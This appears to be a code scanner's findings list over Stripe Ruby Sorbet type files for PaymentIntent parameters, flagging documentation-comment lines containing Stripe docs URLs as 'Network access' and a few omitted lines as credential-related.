end # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to - Network accessline 3863
# Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥ - Network accessline 3873
} def amount_details=(_amount_details); end # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fe - Network accessline 3874
def amount_details=(_amount_details); end # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee coll - Network accessline 3875
# The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu - Network accessline 3890
sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) } def capture_method=(_capture_method); end # Set to `true` to attempt to [confirm this PaymentIntent](https://docs.stripe.com/api/payment_intents/confirm) - Network accessline 3891
def capture_method=(_capture_method); end # Set to `true` to attempt to [confirm this PaymentIntent](https://docs.stripe.com/api/payment_intents/confirm) immediately. This parameter defaults to `false`. When creating and confirming a Pa - Network accessline 3892
# Set to `true` to attempt to [confirm this PaymentIntent](https://docs.stripe.com/api/payment_intents/confirm) immediately. This parameter defaults to `false`. When creating and confirming a PaymentIntent at the same time, you can also pro - Network accessline 3907
[Credential-related source omitted] - Network accessline 3908
[Credential-related source omitted] - Network accessline 3909
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 3916
# Payment methods attached to other Customers cannot be used with this PaymentIntent. # # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not - Network accessline 3917
# # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent - Network accessline 3918
# If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent has be - Network accessline 3925
# Payment methods attached to other Accounts cannot be used with this PaymentIntent. # # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not - Network accessline 3926
# # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent h - Network accessline 3927
# If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent has bee - Network accessline 3935
sig { params(_description: T.nilable(String)).returns(T.nilable(String)) } def description=(_description); end # Set to `true` to fail the payment attempt if the PaymentIntent transitions into `requires_action`. Use this parameter f - Network accessline 3936
def description=(_description); end # Set to `true` to fail the payment attempt if the PaymentIntent transitions into `requires_action`. Use this parameter for simpler integrations that don't handle customer actions, such as [saving car - Network accessline 3937
# Set to `true` to fail the payment attempt if the PaymentIntent transitions into `requires_action`. Use this parameter for simpler integrations that don't handle customer actions, such as [saving cards without authentication](https://docs. - Network accessline 3959
} def hooks=(_hooks); end # ID of the mandate that's used for this payment. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm). - Network accessline 3960
def hooks=(_hooks); end # ID of the mandate that's used for this payment. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm). sig { returns(T.nilab - Network accessline 3961
# ID of the mandate that's used for this payment. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm). - Network accessline 3964
sig { params(_mandate: T.nilable(String)).returns(T.nilable(String)) } def mandate=(_mandate); end # This hash contains details about the Mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.c - Network accessline 3965
def mandate=(_mandate); end # This hash contains details about the Mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm). sig { ret - Network accessline 3966
# This hash contains details about the Mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm). - Network accessline 3971
} def mandate_data=(_mandate_data); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 3972
def mandate_data=(_mandate_data); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 3973
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 3978
} def metadata=(_metadata); end # Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [charge - Network accessline 3979
def metadata=(_metadata); end # Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [charge them - Network accessline 3980
# Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [charge them later](https://docs.stripe.com/pay - Network accessline 3985
} def off_session=(_off_session); end # The Stripe account ID that these funds are intended for. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 3986
def off_session=(_off_session); end # The Stripe account ID that these funds are intended for. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). sig { returns(T.nilable(Stri - Network accessline 3987
# The Stripe account ID that these funds are intended for. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 3997
} def payment_details=(_payment_details); end # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods#compatibility) object) to attach to this PaymentIntent. - Network accessline 3998
def payment_details=(_payment_details); end # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods#compatibility) object) to attach to this PaymentIntent. # - Network accessline 3999
# ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods#compatibility) object) to attach to this PaymentIntent. - Network accessline 4000
# # If you don't provide the `payment_method` parameter or the `source` parameter with `confirm=true`, `source` automatically populates with `customer.default_source` to improve migration for users of the Charges API. We recommend that - Network accessline 4001
# If you don't provide the `payment_method` parameter or the `source` parameter with `confirm=true`, `source` automatically populates with `customer.default_source` to improve migration for users of the Charges API. We recommend that you ex - Network accessline 4002
# If the payment method is attached to a Customer, you must also provide the ID of that Customer as the [customer](https://api.stripe.com#create_payment_intent-customer) parameter of this PaymentIntent. - Network accessline 4006
sig { params(_payment_method: T.nilable(String)).returns(T.nilable(String)) } def payment_method=(_payment_method); end # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use - Network accessline 4007
def payment_method=(_payment_method); end # The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this PaymentIntent. sig { returns(T.nilable(String)) } - Network accessline 4008
# The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this PaymentIntent. - Network accessline 4012
def payment_method_configuration=(_payment_method_configuration); end # If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear # in the [payment_method](https://docs.stripe.com/api/payment_i - Network accessline 4013
# If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method) # property on the - Network accessline 4014
# in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method) - Network accessline 4027
} def payment_method_options=(_payment_method_options); end # The list of payment method types (for example, a card) that this PaymentIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods f - Network accessline 4028
def payment_method_options=(_payment_method_options); end # The list of payment method types (for example, a card) that this PaymentIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from yo - Network accessline 4029
# The list of payment method types (for example, a card) that this PaymentIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/sett - Network accessline 4034
} def payment_method_types=(_payment_method_types); end # Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session). - Network accessline 4035
def payment_method_types=(_payment_method_types); end # Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session). sig { returns(T.nilable(PaymentIntentCreateParams::RadarOptions)) } - Network accessline 4036
# Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session). - Network accessline 4041
} def radar_options=(_radar_options); end # Email address to send the receipt to. If you specify `receipt_email` for a payment in live mode, you send a receipt regardless of your [email settings](https://dashboard.stripe.com/account - Network accessline 4042
def radar_options=(_radar_options); end # Email address to send the receipt to. If you specify `receipt_email` for a payment in live mode, you send a receipt regardless of your [email settings](https://dashboard.stripe.com/account/email - Network accessline 4043
# Email address to send the receipt to. If you specify `receipt_email` for a payment in live mode, you send a receipt regardless of your [email settings](https://dashboard.stripe.com/account/emails). - Network accessline 4046
sig { params(_receipt_email: T.nilable(String)).returns(T.nilable(String)) } def receipt_email=(_receipt_email); end # The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's - Network accessline 4047
def receipt_email=(_receipt_email); end # The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. If you'd prefer to redirect to a mobile application, you can altern - Network accessline 4048
# The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. If you'd prefer to redirect to a mobile application, you can alternatively supply an application URI scheme. Th - Network accessline 4069
} def shipping=(_shipping); end # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, - Network accessline 4070
def shipping=(_shipping); end # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, includ - Network accessline 4071
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 4072
# # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. sig { returns(T.nilable(String)) - Network accessline 4073
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 4076
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descripto - Network accessline 4077
def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to f - Network accessline 4078
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 4082
def statement_descriptor_suffix=(_statement_descriptor_suffix); end # The parameters that you can use to automatically create a Transfer. # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/conn - Network accessline 4083
# The parameters that you can use to automatically create a Transfer. # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). sig { returns(T.nilable(PaymentIntentCreateParams:: - Network accessline 4084
# Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 4089
} def transfer_data=(_transfer_data); end # A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers). - Network accessline 4090
def transfer_data=(_transfer_data); end # A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers). sig - Network accessline 4091
# A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_increment_authorization_params.rbi
- Network accessline 120
end class Tax < ::Stripe::RequestParams # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greate - Network accessline 121
class Tax < ::Stripe::RequestParams # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or eq - Network accessline 122
# The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 130
def initialize(total_tax_amount: nil); end end # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 131
end # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. # - Network accessline 132
# The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 172
} def tax=(_tax); end # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 173
def tax=(_tax); end # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. sig { returns(I - Network accessline 174
# The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 197
end class Shipping < ::Stripe::RequestParams # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or - Network accessline 198
class Shipping < ::Stripe::RequestParams # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0 - Network accessline 199
# If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0. - Network accessline 220
end class Tax < ::Stripe::RequestParams # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than - Network accessline 221
class Tax < ::Stripe::RequestParams # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal t - Network accessline 222
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 230
def initialize(total_tax_amount: nil); end end # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 231
end # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. # - Network accessline 232
# The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 274
class Inputs < ::Stripe::RequestParams class Tax < ::Stripe::RequestParams # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 275
class Tax < ::Stripe::RequestParams # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id sig { returns(String) } - Network accessline 276
# The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 347
} def amount_details=(_amount_details); end # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fe - Network accessline 348
def amount_details=(_amount_details); end # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee coll - Network accessline 349
# The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu - Network accessline 369
} def hooks=(_hooks); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k - Network accessline 370
def hooks=(_hooks); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys ca - Network accessline 371
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 383
} def payment_details=(_payment_details); end # Text that appears on the customer's statement as the statement descriptor for a non-card or card charge. This value overrides the account's default statement descriptor. For informatio - Network accessline 384
def payment_details=(_payment_details); end # Text that appears on the customer's statement as the statement descriptor for a non-card or card charge. This value overrides the account's default statement descriptor. For information abou - Network accessline 385
# Text that appears on the customer's statement as the statement descriptor for a non-card or card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit - Network accessline 389
def statement_descriptor=(_statement_descriptor); end # The parameters used to automatically create a transfer after the payment is captured. # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/ - Network accessline 390
# The parameters used to automatically create a transfer after the payment is captured. # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). sig { returns(T.nilable(PaymentIn - Network accessline 391
# Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_retrieve_params.rbi
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_search_params.rbi
- Network accessline 20
sig { params(_page: T.nilable(String)).returns(T.nilable(String)) } def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query - Network accessline 21
def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for payment intents](https://docs.stripe.com/search#query-fields- - Network accessline 22
# The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for payment intents](https://docs.stripe.com/search#query-fields-for-payment-intents).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_update_params.rbi
- Network accessline 120
end class Tax < ::Stripe::RequestParams # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greate - Network accessline 121
class Tax < ::Stripe::RequestParams # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or eq - Network accessline 122
# The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 130
def initialize(total_tax_amount: nil); end end # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 131
end # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. # - Network accessline 132
# The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 170
} def tax=(_tax); end # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 171
def tax=(_tax); end # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. sig { returns(I - Network accessline 172
# The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 195
end class Shipping < ::Stripe::RequestParams # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or - Network accessline 196
class Shipping < ::Stripe::RequestParams # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0 - Network accessline 197
# If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0. - Network accessline 218
end class Tax < ::Stripe::RequestParams # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than - Network accessline 219
class Tax < ::Stripe::RequestParams # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal t - Network accessline 220
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 228
def initialize(total_tax_amount: nil); end end # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 229
end # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. # - Network accessline 230
# The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 268
class Inputs < ::Stripe::RequestParams class Tax < ::Stripe::RequestParams # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 269
class Tax < ::Stripe::RequestParams # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id sig { returns(String) } - Network accessline 270
# The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 380
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 381
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 382
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 400
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 401
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 402
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 628
class Promptpay < ::Stripe::RequestParams; end class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra - Network accessline 629
class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 630
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 899
} def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 900
def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 901
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 997
} def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 998
def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. sig { returns(T.nilable(PaymentIntentUpdateParams::PaymentMethodData::RadarOpti - Network accessline 999
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Access to secretsline 1146
[Credential-related source omitted] - Access to secretsline 1147
[Credential-related source omitted] - Network accessline 1741
# Installment configuration for payments attempted on this PaymentIntent. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1742
# # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). sig { - Network accessline 1743
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1771
sig { params(_network: T.nilable(String)).returns(T.nilable(String)) } def network=(_network); end # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-au - Network accessline 1772
def network=(_network); end # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent. sig { returns(T.nilable(String)) } - Network accessline 1773
# Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent. - Network accessline 1778
[Credential-related source omitted] - Network accessline 1779
[Credential-related source omitted] - Network accessline 1780
# Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent. - Network accessline 1785
[Credential-related source omitted] - Network accessline 1786
[Credential-related source omitted] - Network accessline 1787
# Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent. - Network accessline 1790
sig { params(_request_multicapture: T.nilable(String)).returns(T.nilable(String)) } def request_multicapture=(_request_multicapture); end # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for t - Network accessline 1791
def request_multicapture=(_request_multicapture); end # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent. sig { returns(T.nilable(String)) } - Network accessline 1792
# Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent. - Network accessline 1795
sig { params(_request_overcapture: T.nilable(String)).returns(T.nilable(String)) } def request_overcapture=(_request_overcapture); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your cust - Network accessline 1796
def request_overcapture=(_request_overcapture); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.c - Network accessline 1797
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1887
sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) } def capture_method=(_capture_method); end # Request ability to capture this payment beyond the standard [authorization validity window](https://do - Network accessline 1888
def capture_method=(_capture_method); end # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity) - Network accessline 1889
# Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity) - Network accessline 1894
[Credential-related source omitted] - Network accessline 1895
[Credential-related source omitted] - Network accessline 1896
# Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe. - Network accessline 2620
sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) } def capture_method=(_capture_method); end # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout p - Network accessline 2621
def capture_method=(_capture_method); end # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to. sig { returns(T.nilable(String)) } - Network accessline 2622
# [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to. - Network accessline 3682
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3683
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 3684
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3702
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 3703
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 3704
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 3760
def initialize(amount: nil); end end # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., - Network accessline 3761
end # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to - Network accessline 3762
# Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥ - Network accessline 3772
} def amount_details=(_amount_details); end # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fe - Network accessline 3773
def amount_details=(_amount_details); end # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee coll - Network accessline 3774
# The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu - Network accessline 3784
sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) } def capture_method=(_capture_method); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [s - Network accessline 3785
def capture_method=(_capture_method); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(T.nilabl - Network accessline 3786
